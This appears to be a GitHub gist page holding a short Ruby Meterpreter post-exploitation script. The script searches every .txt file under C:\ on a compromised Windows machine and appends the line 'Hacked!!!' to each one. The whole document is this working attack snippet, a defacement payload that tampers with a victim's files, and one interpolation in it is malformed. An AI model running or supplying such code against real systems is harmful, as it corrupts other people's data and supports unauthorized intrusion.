Skip to content

Instantly share code, notes, and snippets.

@b4ldr
Created December 3, 2015 15:53
Show Gist options
  • Save b4ldr/ef0c32dcb9a7d13a0bf4 to your computer and use it in GitHub Desktop.
Save b4ldr/ef0c32dcb9a7d13a0bf4 to your computer and use it in GitHub Desktop.
client.fs.file.search('c:\\', glob='*.txt').each do |file|
path = "#{file['path']}/#{file['name']}"
print_status("updateing: #{path}")
begin
client.fs.file.open(path, 'a') { |f|
f.write("\r\nHacked!!!\r\n")
}
rescue
print_status("unable to edit: ${path}")
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment